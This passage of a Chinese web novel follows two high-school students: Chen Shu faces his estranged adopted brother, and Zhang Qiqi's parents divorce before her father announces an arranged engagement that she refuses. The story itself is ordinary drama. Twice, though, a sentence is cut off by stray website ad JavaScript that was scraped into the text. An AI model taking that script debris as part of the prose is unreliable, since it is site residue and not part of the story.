陈恕抬眸,眼神平静淡漠,即便汹涌的情绪在他的心间嘶吼着,他径直走到张期期的身边,握住她的手腕,“期期,我们走吧。” 张期期看了一眼曾家父子,点头道:“好。” 陈恕牵着张期期走出几步后,突然停住脚步,他背对着他们道,“陈最,你没有对不起我,你唯一对不起的人是妈妈。” …… 骄阳烘烤着大地,沥青校道上发出难闻的怪味。 走出图书馆一段道路后,张期期突然扯住了一路上埋着头,抿着唇,一言不发一直往前走的陈恕,“陈恕……走慢点。” 陈恕一顿,回过神来,眼含抱歉地看向张期期,他笑了笑,低声道:“不好意思啊,期期,我……” “停,不想笑就别笑。” 陈恕的嘴角顿时耷拉了下来,“被你看出来了。”他看着远处湛蓝的天际,极力地平复着自己的心绪,“我只是不能理解,他不认我没关系,但是……他明明知道上瑶村那些人一直在造我们妈妈的谣言,说她是跟别人跑了,他明明记得这一切,却不肯站出来为妈妈澄清。” “我很难过,期期。”陈恕垂眸,死死攥着自己的手心。 张期期将少年按着坐在树荫下的长石椅子上,她伸手将少年拥入怀中,看着因为坐着所以矮了她一大截的少年,她低声道:“陈最没帮你妈妈澄清,但你帮你妈妈澄清了啊。我们要求不了别人,便只能要求自己,你已经做得很好很好了……” 少女柔软的腰腹间沁出清爽的清香,幽幽缠绕在他的心头,心中那些难言压制的不平最终缓缓平息下来。 “嗯。”陈恕嗡声道,“小、陈最他过得好,以后我也不用再挂念他了,曾老师是很好的人。我妈妈也会放心了……” …… 另一边—— 天台上,沉默在曾培父子之间漫延着,好半响,曾逸飞终于忍受不了这种奇怪的氛围,他嘴唇动了动,声音低下,哀求道:“爸……” 曾培从没有哪一刻觉得如此疲惫,他自认为自己在教学上颇有成绩,他教出了一个又一个优秀的学生,但他的孩子呢,他十年精心教导的孩子呢……却养成了这幅让他陌生的模样。 他甚至欺骗他和妻子,故意给他和妻子造成误导,使得他们以为他完全不记得过去了…… 对待亲哥哥陈恕,他也这般狠心,这些日子发生的事情,他不是不知道陈恕过着什么样的日子,这么可怜的孩子,作为陈恕弟弟的他居然能狠得下心肠。 曾培心累不已,他完全不想说话,但思及媒体记者准备报道陈恕的事,他还是绷着脸,沉声道:“现在立刻马上打电话给对方,打消对方报道陈恕的事。” “好。我现在就打,爸,你别生气。” “先打电话。” “哦……哦、好。我这就打。” 曾逸飞拨打了电话,电话响了一声,对方立刻就接了起来。曾培见状,立刻走过去,接过手机打开了外放。 曾逸飞慌慌张张、三言两语讲了撤销对陈恕报道的事,对面声音充满了不悦,【不是,你在搞什么?溜我们吗?这件事不可能,我们今天可是出了外勤,难道让我们白做工吗?】 曾逸飞着急道,“我给了你们钱的啊。” 曾培眉心皱起,出声道:“我是曾逸飞的父亲,这件事就这么说定了,至于你们所谓的误工费,我来支付,报道就撤销吧,如何?不答应的话,我们法庭见。” 对面一阵长久的沉默,最终他们道:【行,那你得支付我们的误工费。】 “好。”曾培不是不知道对方这是在讹钱,但是这也是目前最快最有效率解决问题的方式,他不在乎这一点钱,而且…… 他内心叹了口气,而且他毕竟是逸飞的爸爸,就当他在替儿子赎罪吧。 电话挂断,曾培眼神复杂,“为什么这么做?就算你不想认陈恕,不认就是了,为什么要逼他离开?” 光影摇曳,夏风带着燥热的气息吹拂而过,浑身散发着低迷气息的少年在他的养父面前交代了他所有的心思。 他怕他再不坦白,他爸爸会更加生气,会不会就不要他了……他不敢赌。 曾培眼神复杂,“所以……是超忆症让你记住了一切?”他以前只是以为这孩子记性好、聪明而已,没料到居然是超忆症。 超忆症,他略有了解,大量信息很容易会让大脑超负荷工作,这无论对身体还是心理都是极为损耗的。 思及此,曾培到底难以再绷着脸对他,“以后身体或者精神上难受可以和爸妈说,我们去医院看看有没有能缓解的药。” “爸!”曾逸飞惊喜道,他不敢相信,养父就这么原谅了他吗? 曾培哼了一声,“以后有什么事坦白告诉爸爸妈妈,我们既然领养了你,无论怎么样,我们都是你的父母,会帮你解决任何事情,你要相信我们。” “爸……”曾逸飞面色羞愧。 “还有,如果陈恕愿意见你,你就去道歉,如果他不愿意见你,那就……那就算了……” “好。” …… 傍晚的天幕燃烧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起赤红的火烧云,夕阳的光影跳跃在车窗外高低错落的建筑上,张期期坐在公交车上,攥着膝盖上书包的背带。 放学后,她和曾老师请了晚上晚自修的假。 随着公交车越来越靠近市中心医院,回想起父母感情之间的破裂,她的心绪愈渐难平。 病房外,张期期满眼泪水地听着病房内父母的互相指责,每一句指责都仿佛刀子一样割着她的心口。 “你凭什么不愿意离婚,出轨的是你。” “现在正是张家企业涉及其他行业的关键时期,离婚会影响张家企业的。”张世明焦头烂额,忍着抽痛的额角,“和风,我们没到离婚的程度,这些年来我对你好不好,你难道不知道吗?” “还有……离婚了,我们期期呢?你连期期都不要了吗?就一心想跟着张洁莉那个女人去英国吗?” 张期期凝神屏气,指尖微微颤抖,此刻的她仿佛待宰的羔羊一样只能由父母来决定她的未来。 戚和风眼眸微垂,她已经错过了十几年的时间,十几年啊,这十几年她究竟在为谁而活。当镜花水月的恩爱生活被现实利益的刀刃狠狠划破,十几年来的她仿佛成为了笑话。 不甘和怨愤在她的心中嘶吼着,她难以面对如此狼狈不堪的自己,这一刻,她不免连自己的女儿都迁怒起来。 看着张世明说起女儿期期时,胜券在握,仿佛她会为此妥协时的神情,她就忍不住戾气丛生,“你们父女俩要耗着我到什么时候?期期我不要了,你休想让我妥协,绝不可能。” “明天我就出院了,后天我会和洁莉出发去英国,现在……”戚和风下巴微微抬了抬,指了指桌面上的离婚协议,“……把离婚协议签了,我可以暂时不向外界透露我们离婚的事情。” “和风……” “如果你不签,我立刻向外界透露你出轨的事。”戚和风冷声道。 “和风,你想一想期期……期期她……”张世明沉声道。 戚和风脑海中的弦突然崩断了,她声音尖锐,撕心裂肺般喊道:“我都说了我不要她了,不要她了!你提她做什么,我是不会改变我的决定的。” …… 「……期期我不要了……」 「我都说了我不要她了……不要她了……」 这一刻,张期期觉得世界仿佛在高速地旋转着,置身其中的她被离心力甩着撞在了现实的墙壁上,浑身都在叫嚣着疼痛,喉咙间的哽咽让她止不住地呼吸困难,她嘴唇微张,用力地呼吸着。 她扶着墙壁,踉跄着离开了。 天边最后一缕霞光散尽,月上梢头,皎洁的月光透过树梢洒在斑驳的银白。 张期期抱着书包坐在住院部后面花园的长椅上,昏黄的灯光下树影绰绰,小道上时不时有陪护推着病人出来散步,聊天声隐隐约约地传过来。 “期期?你怎么在这?”张洁莉诧异地望着坐在长石椅的张期期,“你什么时候来的?你妈妈在等你呢?” 张期期愣了下,诺诺道:“我……我就坐坐。” 张洁莉看了她一眼,眼神中闪过了然,这个年纪的孩子大概还无法接受骤然破碎的家庭吧,她伸手摸了摸张期期的发顶,眼里闪过歉意,要怪只能怪她爸爸张世明了,她永远站在小风这边,哪怕她确实有些心疼期期这孩子。 “走吧。” “嗯。” 深幽的小道上,张洁莉笑着道:“还没吃吧?我打包了两份餐食,有你爱吃的馄饨。” “张阿姨,你怎么知道我爱吃馄饨?” “你妈妈说的啊,她说你晚上会过来,应该还没吃饭,让我也给你打一份。” * 病房内。 张期期跟着张洁莉回来时,病房内已经没有她爸张世明的身影,她目光从桌面上掠过,桌面上也没有了那张离婚协议。 她不知道她爸妈是否已经达成了协议…… 张洁莉和戚和风聊了一会儿之后,便离开了。 戚和风微微皱了皱眉头,“怎么了?期期,今天晚上怎么这么安静?” 张期期攥了攥手心,疼痛让她混沌的思绪稍微清醒了一些,她笑了笑,“没事,可能是上了一天的课有点累了。” 戚和风顿了顿,女儿心虚时的小动作,没有人比她更清楚,她想或许是突然知道父母感情破裂,情绪不好吧,但这件事她没办法安慰她,只能她自己慢慢接受了…… “期期……”戚和风微垂着的眼眸闪过挣扎,但当她望向张期期时,眼里的挣扎已经散去,双眸发亮,闪烁着别样的神采。 望着这样的妈妈,张期期一滞。 “期期……我和你爸爸离婚了,后天妈妈会和你张阿姨去英国。期期……你能理解妈妈的,对吧?” 病房内的窗户开着,夜晚的风吹进来,带着微微的凉意,好半响,张期期咬着牙,狠狠点头,“嗯。妈妈想去哪里就去哪里,想做什么就去做什么,我都可以的。” 心底泛上酸涩,戚和风向张期期招了招手,张期期缓缓走到床边的椅子上坐下,戚和风紧紧握住她的手,“期期,谢谢你能理解妈妈。” 四十出头的女人面容依旧美丽,但岁月还是在她的眼底留下了疲倦,然而当她望向窗外,仿佛在透过时光看向遥远的过去时,她眼底重新绽放了勃勃的生机。 “期期……妈妈浪费了那么多年的时间才终于明白,前途、梦想这些深深刻在你心中的东西远比身外的一切来得更重要,镜花水月般的情感终会消散,只有你最盼望、渴望的东西才能带你去更好的未来,才能让你永不后悔。” “以妈妈当年的心智和阅历,会做出这样的选择其实并不意外,或许再来一次,当年的我依旧会这么做,但好在妈妈还有勇气重新来过。” “……期期,你呢?妈妈记得你喜欢画画吧?期期,好好考虑考虑接下来的道路,不要考虑家庭、父母、朋友,问问你自己的心,问问你心底最深切的渴望。” …… 102. 第 102 章 - 翌日,因为戚和风出院再加上后天她就要离开京照市前往英国,张期期忍不住和班主任曾老师请了两天的假。 京照一中,陈恕望着身旁没人的座位,不知怎的,心底泛上隐隐约约的不安。 在上完了当天的课之后,陈恕忍不住向许兰亭问道:“兰亭,你知道期期最近有什么事吗?” 许兰亭也觉得纳闷,他摇了摇头,“我也不知道,我问过她了,她没有回复,只是说家里有事。家里有事的话,我其实还问了一下我哥,我哥也没说什么。” 陈恕抿了抿唇,“那……兰亭你告诉我期期家的地址吧。” … 望着眼前仿佛森林公园般的别墅小区,即使陈恕已经心有准备,却还是被狠狠地震撼了一下,人与人之间的差距,有时候比人与狗的差距还大。 在学校时,这种感觉并不明显,但此时此刻,他完全体会到了“判若云泥”的意思。卑微、失落的情绪在他心中交织着,他下意识后退半步,萌生了胆怯的心理。 期期……陈恕心中无声反复地轻捻着她的名字,企图从中汲取力量。 好半响,少年抿了抿唇,因为极度紧张所以一出口时声音卡壳到带着轻微的沙哑,“您、您好……我能进去找一下我朋友吗?” “我朋友就住在檀横道02栋。她这两天没去上学,我……” 陈恕的话还未说完,身材壮硕的保安大哥笑了笑,打断他的话道:“你进来吧……我让同事开车送你进去……” 清幽的月光下,少年看着身前打开的人行栅栏愣了愣,就这么容易吗?他还以为进入这么高档的别墅区首先要被询问几番,再写下自己个人的探访信息,最后还要获得张家的同意之后才能进去。 陈恕僵硬地抬起双腿走过人行栅栏,说话的保安大哥指着不远处的一辆观光车,笑着道:“车在那儿,快去吧。” “啊……”陈恕连忙道谢:“谢谢您。” 陈恕坐上了观光车,开车的另一位保安大哥对着他笑了笑,陈恕顿了顿,低声道:“哥,你好,为什么这么容易我就能进来?” 对方也愣了一下才明白陈恕问的话是什么意思,随后他笑着道,“大概因为你身上的校服吧,京照一中,全市最好的一中,全省排名第二的中学。这小区里几乎所有的业主家的孩子都能在这所高中就读,所以你来这找朋友合情合理啊……加上我们对读书好的学生比较有滤镜?” 观光车穿梭在道路上,两旁是郁郁葱葱的树木,皎洁明亮的月光下,他甚至看到有些树木上挂了“国家一级保护植物”的牌子。 所以……这个世界即便上层富有的人占据了大量的资源,但贫穷的人靠着优异的学习能力也能夺得几分的特殊。 这一刻,方才心底油然而生的自愧不如渐渐散去,陈恕心想,只要他够努力,够优秀,能占据的资源和优待就更多,等他足够强大,独属于他的领域更庞大,皎洁月光落下的光辉就更绵延。 “谢谢……”陈恕神色恳切。 “嗯……到了,你从这里走进去,路的尽头就是02栋了,这观光车的声音有点大,我就不开过去了,免得吵到业主。” …… 月色下,光影婆娑。 方才心中萎靡的陈恕此刻已经调整好了状态,他踩着银白的小道走了几步路,突然脚步一滞。 等等……他这么直接上门找期期,好像不行,太冒昧了,期期的爸妈要是在家……他低头看了看两手空空的手掌心,第一次上朋友家空手进门好像太失礼了。 等等……带东西上门?不知怎的,他突然想起电视上“女婿第一次上门”的情景,陈恕顿时觉得脸微热。 纠结、彷徨……少年手足无措地站在原地,他突然觉得自己来这里找期期好像是一个错误的选择。要不,还是回去吧? “陈恕?” 略有些熟悉的音色出现在他的身后,陈恕顿了顿,转过身来,视野里站着一个穿着简约家居服的男生,对方眼神不解地望着他。 “你怎么在这儿?”陆向川挑了挑眉,眼底充满了优越感,“找期期?你跑到这儿来找期期?” 陈恕抿唇,挤出一声“嗯”,他反击道:“我记得国际班的学生都已经出国了吧?” ——你怎么在这儿?他把这句话翻译翻译后,甩回了陆向川的脸上。 果不其然,陆向川脸色一沉,然而他的视线越过陈恕,看到对面徐徐走来,神色温和从容的女人时,他嘴角挂起胜券在握的笑容,他语气熟捻地喊道:“戚阿姨……您出来散步吗?” “向川啊……”戚和风温声笑了笑,步履从容地走了过来。 今天张世明居然回来了,戚和风不太想和对方在一个屋檐下,所以暂时出来走走,晚些再去收拾行李。 “你不是在国外吗?怎么回来了……”戚和风说着说着,突然看向一旁仿佛浑身局促的少年,她皱了皱眉,狐疑道:“向川,这是你朋友吗?” 闻言,陈恕下意识攥住了指尖,内心紧张不已,眼前的女人是期期的妈妈,他上一次在剧院门口远远地看见过对方,此时对方站在离他一米多的距离,整个人看起来更加温敛华贵,让他感受到天壤之别。 长辈问话,他即使再无措,也明白自己应该表现得落落大方一些,于是他硬着头皮笑着道:“阿姨,您好。我是期期的朋友,我叫陈恕。期期……她今天没来上学,所以我过来看看她……” “陈恕……”戚和风轻声喃喃。 她眼眸中闪过若有所思,女儿期期喜欢的男孩子她自然知道叫什么名字……再加上期期曾经问过张世明,如何哄一个男生开心,看来……就是他了。 此时,戚和风心情复杂,若是换成之前,女儿喜欢的男生出现在她的面前,她一定会热情地邀请对方来家里坐坐,并好好招待对方,且借着这个机会看看这个男生到底怎么样。 但现在……她心中微微叹了一口气,经历了张世明出轨这件事,她知道有一些她一直坚持的事情早就变了。 现实告诉她,门当户对很重要,眼前的这个男生一看家庭条件就非常一般,若是后来他真的和自己的女儿在一起了,几年后,十几年后,期期会不会后悔自己明明可以找各方面更好的男生,却偏偏跟一个穷苦的男生过苦日子。 又或者……几年后、十几年后,男女之间的情谊消耗完了,这个男生会不会觉得就因为女方家庭好,他这么多年都诸事忍耐了呢…… 戚和风心底微嘲,她不得不承认曾经她嗤之以鼻的商业联姻其实反而是最适合这个圈子内的人的,像她的感情反倒在最终落到成为一场笑话的地步。 且张世明是绝对不会允许他的女儿期期找一个没有家族底蕴的男孩子的,而她知道陆向川便是张世明看中的女婿。 种种思绪看似百转千回,但其实仅仅在一瞬间而已,戚和风抬眸笑了笑,对着陆向川道:“向川,阿姨想和这位同学说些话,你……” 陆向川眼眸中闪过了然,他这一次回来的原因,张家、陆家的长辈都心知肚明,“好的,戚阿姨……刚好张叔叔找我过去,我就先进去了……” 他在陈恕的面前坦然自若,底气十足地走进了张家。 陈恕抿住唇,收回视线后微微垂下眸,心情复杂。 戚和风眼眸微动,微笑着道:“陈恕是吗?介意跟阿姨走一走,聊一聊吗?我想知道我们期期在学校怎么样?” 陈恕立刻回过神来,点了点头,“好。” 月明星稀,浓云时卷时展,静谧的别墅区隐隐约约有流水潺潺的声音,戚和风带着陈恕走到了靠近湖边的亭子附近。 湖面上木制廊桥蜿蜒曲折,路灯在湖面上洒下橘色的光影,可观赏性的金鱼不停地游动着。 戚和风一直没有开口问什么,陈恕想了想,低声道:“阿姨,期期在学校很好,我们班的老师、同学都很喜欢她……” “那你呢?你也喜欢我们期期吗?”戚和风停下脚步,手扶在木质廊桥的围栏上,她好整以暇地望着一旁的少年。 昏黄的灯光下,面容精致白皙的少年突然变得手足无措起来,他张了张嘴紧张得不行,微红的霞色漫上少年的耳廓。 “期、期期……大家、大家都很喜欢她……”陈恕硬着头皮说着,他心如擂鼓,一时间仿佛都听不到自己说了什么。 少年心事,青涩美好。戚和风垂眸心中叹了一声。 “你也喜欢我们期期吧。”她肯定道,看着少年一副手忙脚乱想解释的样子,戚和风继续道:“我知道期期也喜欢你。” 陈恕一顿,心下微乱,潜意识在告诉他,期期的妈妈接下来说的话肯定是他不喜欢听的。 他抬眸望着眼前眉眼沉静的女人,果不其然,对方笑了笑,直接道:“但是光是喜欢是不够的,期期是我的女儿,我们如珠如宝地爱护她,吃穿用度无一不精。她虽然没有养成娇气的性子,也能吃苦,但如果她真的和你在一起,她的生活质量一定会因为你而被降低。这是作为母亲的我不愿意见到的。” “如果你真的喜欢她,你会愿意看到她为了迁就你,而勉强地去习惯你的生活质量吗?”戚和风委婉温和地讲着,她的话并不难听,却一针见血。 难堪的事实被直接摆在了明面上,陈恕攥紧了手心。 戚和风微笑着,“你一定想说你会努力给期期更好的生活,但你能努力到哪种程度呢?这世界上努力和成功并不呈正比,或许你拼尽一切的努力在张家这个庞然大物面前依旧不值得被看一眼呢?” “就拿你目前要面对的这一场高考来说,高考对于我们这样的家庭来说,并不是什么人生鱼跃龙门的机会,那只是我们家的一个几厘米的台阶,可踩可不踩。根本无法影响我们前进的道路,但对于你来说,高考却是人生当中第一场重要的考验。” 皎洁明亮的月光此刻却让陈恕感到冰凉刺骨,对方说的话,他一句都反驳不了。 少年沉默着,紧紧抿着唇,戚和风眼中闪过歉意,但也仅是如此而已,赤裸裸的现实无论如何都得面对,“陈恕,期期的爸爸是一定不会同意的,向川才是期期的爸爸心目中女儿丈夫的人选,而我……也不会反对。” “你回去吧。路上小心些。” 戚和风温声说完,很快便离开了,这场谈话,陈恕全程没能说上一句话。少年久久地伫立在原地,任由夜风呼啸而过他的心间。 不知过了多久,浓云遮住了月色,昏暗中少年动了动僵直的身体,颓然无力,他一步步靠着腿走出了这片让他清晰地意识到他和张期期之间判若云泥的别墅区。 公交车缓缓停在了陈恕的面前,现在这个点回学校,学校大门早就锁了,因此他只能选择先回下瑶村他租的出租房。 公交车线路弯弯绕绕,等他回到出租房,已经过了一个多小时。 狭窄阴暗的小巷子里,流浪狗不住地吠着,陈恕推开房门,往日里他觉得收拾得干净整洁的出租房在此刻显得极为简陋、破败。 戚和风的话反反复复地在他的耳边回响着,陈恕难以接受将这间破败简陋的房子和美好灿烂的期期联系到一起,这一刻,少年极力强装出来的平静猛然溃不成军。 世界的参差没有哪一刻比此时更加鲜血淋漓地展现在他的面前。日常校内生活,他和期期之间看似没有多大的差别,但这只是社会为未成年的孩子之间提供的一个相对平等的环境。 窗外冰凉的月色渗入狭窄的阳台,陈恕手掌轻轻触碰着阳台上水泥筑起的围栏,围栏上贴着浅蓝色的防水布,刚搬入这个房子的时候,这里上方的瓷砖已经破碎不成样子了,所以他花了点心思布置和整理,那时他觉得虽然这个房子是租的,但他也欣喜于自己终于有了独属于自己的家。 而此时此刻,或许是劣质防水布的原因,现在它也慢慢开始褪色和脱落,露出一开始就破碎的内里瓷砖。 陈恕的指尖无意识地抠了抠碎痕,多像他啊,即使他看起来完好损,但内里早就虚妄、贫瘠。 期期的妈妈一针见血地指出他们之间的差距,「陈恕,期期的爸爸是一定不会同意的,向川才是期期的爸爸心目中女儿丈夫的人选,而我……也不会反对。」 陈恕望向阳台外,入目所及之处一片狼籍,小巷子里白日小摊贩随手丢下的垃圾随处可见,身处其中的他到底能用什么来留住期期…… 他能给她什么?给她他生活的这一些吗?狼藉、恶臭的小巷,简陋、破败的出租房,冰冷的月光、疲倦的落日吗? 少年久久站在月色下,心头悲哀。 * 第二天,陈恕回到了京照一中。 教室内,许兰亭眉头紧皱地看着陈恕,这到底怎么了,昨天不是专门请假说去找期期吗?他为了给期期惊喜,都没向期期透露这件事呢!但……怎么陈恕回来之后,看起来更不对劲了呢! “你昨天见到期期了吗?”许兰亭想了想,还是没忍住问道。 陈恕眼睫毛微微闪动了一下,低声道:“没……” “哈?你没找对地址?”许兰亭诧异道。 陈恕沉默着垂眸,自顾自地填写着昨晚夜自修发下来的试卷。 丈二摸不着头脑的许兰亭:??? …… 京照机场。 还未进入盛夏,宽阔明亮的机场已经开足了冷气,机械又柔和的广播声一遍遍地广播着即将检票的航班。 拉着行李的行人步履匆匆,机场每天上演着无数次的重逢和离别。 张期期亦步亦趋地跟在戚和风的身边,张洁莉、戚和风在柜台前值机、托运行李,随后拿着纸质机票走出了排队的队伍。 张洁莉抬手看了一眼腕上的手表,“时间差不多了,我们得过安检了。” 过安检就意味着她不能再跟着进去登机口了。张期期默默垂下了眼帘,她咬着唇,死命地咽下想挽留妈妈的话。 「……期期我不要了……」 「……我都说了我不要她了……不要她了……」 那一日她妈妈尖锐冷漠的话语犹在耳边,张期期知道这一定是妈妈的气话而已,但此时此刻,离别近在眼前,她忍不住指尖颤抖。 “妈妈……”张期期喃喃道。 戚和风笑了笑,她伸手揉了揉女儿的发顶,她的期期看似活泼开朗、坚强不屈,但其实对身边最亲的家人无比地依赖,甚至会为了家人委屈自己。 “由京照市飞往英国伦敦的旅客请注意,航班号CZ3738将在三十分钟后开始登机,请旅客届时前往A01号登机口登机……” 戚和风看着排长队的安检队伍,也没时间再说什么了,她笑了笑,“期期,妈妈要去过安检了,以后要有什么事的话,你打电话给妈妈,或者找你爸爸……” 张期期抿着唇,点了点头,“好,妈妈你不用担心我,我会照顾好自己。”她看向张洁莉,笑了笑,“张阿姨,以后我妈妈就拜托您了。” “傻孩子……我是你妈妈的朋友,你小孩子别操这个心。” …… 张期期走出冷气十足的机场,迎面而来是带着潮湿的温热夏风。巨大的温差使得她鼻尖一痒,忍不住打了个喷嚏。 时值下午,本该是晴朗湛蓝的天,此刻却慢慢阴沉下来,浓云遮住了太阳,张期期抬眸往上看了看,天气变化得也太快了吧…… 于此同时,一架飞机从她的头顶飞过,滑向遥远的天际边,她的情绪再度消沉下来。 回到皇家园林别墅区时,张期期推开家门便看见客厅里她爸爸和陆家伯伯、向川在谈着话。 此刻见她进门,陆家伯伯、她爸爸脸上满是热切的笑容,张世明招了招手,“期期,快过来……” 明明有空和别人聊天喝茶,却不肯送妈妈去机场。张期期撇了撇嘴,虽然她妈妈肯定也不愿意见她爸爸,但作为犯错的人,居然连起码的抱有歉意都做不到。 她心里其实不太乐意,更想赶紧收拾东西回学校,但基本的礼节她还是懂的,因此张期期挑了个距离比较远的单人沙发坐下,脸上带着礼貌的微笑。 “女大十八变,期期现在都变成大姑娘了……我都快认不出了。” 张期期微笑,心道,陆伯伯,你那外面的私生子、私生女一大堆,估计您也不一定全部认出来,怎么可能认得出我…… 陆家夫妻是出了名的各玩各的,甚至连稍加掩饰都懒得的人,这在圈子里谁人不知谁人不晓,所以她不太想和这样的人搭话。 好在对方只是笑着和她说了这么一句之后,又把话题聊回了生意上的事情。 张期期百无聊赖地坐着,实在不明白她爸叫她过来干什么?难道是提前熏陶这些生意上的事情?她扯了扯嘴角,蓦然对上了对面神情复杂的陆向川。 张期期眼眸微闪,向川这是怎么了?昨天晚上来她家的时候还好好的,甚至可以说是格外地兴奋,怎么这会儿看起来备受打击一样。 恰在此时,张世明突然道:“期期……难得向川刚好从国外回来,你们年轻人别杵在这儿了,自己玩去吧。” 张期期:…… “哦,那……向川你要去5楼吗?我那的小客厅有以前玩的游戏,要玩吗?” 陆向川点头,“好。” 打了没两局游戏,陆向川就烦躁地丢下了游戏手柄,他看向一旁坐在茶几旁、地毯上的张期期,对方低着头正在刷着物理试卷。 “期期……”陆向川抓了抓头发,还是忍不住问道:“我听我爸说,你爸妈离婚了?” 张期期闻言,一下子没了刷题的心思,她丢下黑色水笔,冷淡地点了点头。她并没有那么迟钝,最近她爸突然和陆家走得格外地近,肯定是有生意上的来往,那么陆家伯伯知道这件事也是正常的。 “怎么?怎么就离婚了?为什么啊?” 陆向川大受打击,他是今天不久前才知道这个消息的,他和他爸来张家的时候,恰好遇见了张家的汽车开了出去,他还以为是张叔叔有事去公司了,没想到他爸居然说是戚阿姨要去英国。 他再问,才知道张叔叔和戚阿姨居然离婚了,他问过他爸离婚的原因,但他爸却没有说,还让他少打听大人的事。 明明……明明很快他就要加入张家,成为张家幸福家庭的一份子了,明明很快他就要拥有张期期一样恩爱的父母了……这也是他这次为什么回京照的原因。 明明……不……陆向川忍不住急声问道:“为什么?” 张期期抬眸瞥了他一眼,心情不太好的她嘲讽道:“为什么?你居然猜不到吗?那我告诉你好了……我爸就是犯了和你爸一样的错,出轨。” 原来如此……原来陆向川是今天才知道的她的家事,她扯了扯嘴角,小的时候对方一直喜欢赖在她的家里,她还以为陆向川是喜欢她,直到长大之后他才有所收敛,而她也意识到原来对方是在抢她爸妈的注意。 与其说喜欢她,不如说是喜欢她爸妈,喜欢她家和谐温馨欢乐的氛围。以前的她也沉浸在这样的氛围里,所以对十分趋向她家的陆向川,抱有一种“你眼光不错”的自得感,他们还是朋友。 然而不知从什么时候起,或许是过去潜意识里的她早就在潜意识里预料到了如今家庭的破裂,所以那些时候她对陆向川其实冷淡了不少,为什么呢?直到现在她终于意识到大概是因为她无法有所依仗、有底气地去面对深怀着向往她和谐幸福家庭的陆向川那羡慕的眼神。 陆向川的脸色瞬间刷地一白,他不可置信地瞪大了双眼,仿佛破碎的不是张期期的家庭,而是他的。 张期期看着他震惊、失望的眼神,心里却猛然感受到一阵快意,“不止是出轨,我爸还动手了,她打了我妈,害得我妈去住院。” “他们还相互埋怨,我爸后悔娶了我妈,认为我妈完全无法为张家的家业提供助力,我妈也恨我爸,认为是我爸拖累了她,她觉得要不是我爸,她现在一定是国内一级的表演艺术家。” “还有我……我恨他们!” 随着她说出口的话,陆向川的脸色越来越难看,他整个人仿佛如坠深渊,她看着陆向川,仿佛看见了她自己,在面对家庭的破裂时,她无法表露出怨怼,不能挽留妈妈,只能平静地去接受,而陆向川不同,他能代替自己露出这份备受打击的神色。 陆向川沉默了许久许久,最终道:“我会好好想想,好好考虑考虑的。”……关于陆家和张家准备联姻的事,如今的张家早就不再是他梦寐以求的和谐恩爱家庭,这个家庭也像这个圈子里的任何家庭一样庸俗、浑浊。 张期期:??? * 晚上七点钟,张家的饭桌上。 张期期看着桌上丰富的菜色,神色焉焉。宽阔的用餐房内,只有她和张世明两人,空荡又寂静。她随便扒了几口饭就想放下筷子回房间收拾东西回学校。 京照一中一般在晚上八点半就关闭了校门,禁止高三的住宿生出入学校。 “期期……等下,爸爸有话和你说。”张世明将筷子放下,双手指尖交/合地放在桌面上,神色严肃正经,一副上位者的姿态。 张期期下意识皱了皱眉头,抬起的臀部又坐了回去,她神色冷淡,“什么事?” 张世明拧了拧眉心,“期期……因为你妈的事,你最近都不愿意喊我爸爸了吗?虽然我和你妈离婚了,但你也是我的女儿这一点并不影响。期期……你这样子爸爸也会伤心的。” 愤懑、怨恨在她的心间喷涌而起,伤心……张期期扯了扯嘴角,眼神嘲讽,他的所作所为才是让她伤心的源头。作为始作俑者,怎么有脸皮说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出这样的话。 张期期绷着脸,沉默以对。 见状,张世明头疼不已,他也懒得继续讲这件事了,这在他看来其实也不是多么重要的事情,孩子再长大一些,就会知道底蕴十足的张家才会是她的依仗,到时候她就不会再这样给他脸色看了,讨好父母这是作为商圈里的孩子心里最有底的事情。 张世明将女儿期期的情绪抛之脑后,反而谈起了事情,“向川这阵子回来了……我和你陆伯伯最近在商谈你们俩之间的婚事,依我们看就先订下来……” 一脸不耐的张期期瞬间瞪大了双眼,婚事?她和陆向川的婚事??她现在高中都还没有毕业,现在就讲婚事?更何况她干嘛要嫁给陆向川?为什么他们能理直气壮、仿佛通知她一样?这是她的婚事啊! 看着眼前还在继续侃侃而谈的张世明,张期期只觉得世界都开始荒诞诡异起来,不知道的还以为现在是古代封建社会呢? 为什么?为什么他爸爸变得这么奇怪,出轨离婚,现在还要拿她的婚事作为张家的助力,她一瞬间觉得自己已经不认识眼前的男人了…… “期期……你觉得怎么样?”张世明笑着道。 张期期愣了愣,愤怒和失望突然在这一刻消散了,她只觉得不值,她站起来,面无表情道:“不可能,我不会嫁给陆向川的,要嫁你自己去嫁。我的人生你休想掌控。” 将东西收拾着丢进背包里的时候,方才她说完话时,她爸铁青着脸的神色浮现在她的脑海里,张期期扯着嘴角无声地苦笑着,为什么,为什么仅仅是几天的时间一切都面目全非了呢…… … 在张世明目眦欲裂的眼神下,张期期走出了家门,她走了很长很长的一段路才到了距离别墅区最近的公交车站。 好在今天不是周六日,路上没有出现拥堵的情况,所以张期期最终才能赶在京照一中关门前进去。 她走在校道上,走着走着突然脚下一转走向了操场,张期期抬眸望了一眼格外漆黑的夜色,现在……现在她暂时还不想去教室,她没有心情面对朋友们关心的问询,她也不想给他们造成压力,所以……所以暂时让她自己一个人静一静,消化掉那些难以言喻的情绪吧。 操场上的大灯已经亮起,但由于现在是高三生上晚自修的时间,所以操场上空空荡荡的,只有她一个人。 张期期走到观众席最上面的那一层台阶,她将背包放下,坐在了台阶上。 今晚的风带着股风雨欲来的气息,从下午开始阴沉的天仿佛在憋着一股劲准备下一场瓢泼大雨般。带着凉意的夜风吹得头顶的榕树树冠发出飒飒的声响,天幕上浓云被风吹得不停地翻滚着。 张期期双手的手肘支撑在膝盖上,双手托着脸颊的下颌,失神地望着操场上的大灯。 许是接下来会有大雨,所以空气中带着潮湿的水分,亮眼的灯光照射着空气中的水雾,仿佛丁达尔效应一般,她看见迷蒙飘动的雾气。 此情此景,张期期愣了愣神,下意识想起秋日里她在梧桐大道上第一次遇见陈恕的情景,那一日少年抱着小猫站在路灯下,连绵的雨雾沾染上橘黄色的路灯,少年站在光中仿佛神明低垂着眼。 陈恕……她嘴唇轻启,低声喃喃道。 「……前途、梦想这些深深刻在你心中的东西远比身外的一切来得更重要,镜花水月般的情感终会消散,只有你最盼望、渴望的东西才能带你去更好的未来,才能让你永不后悔。」 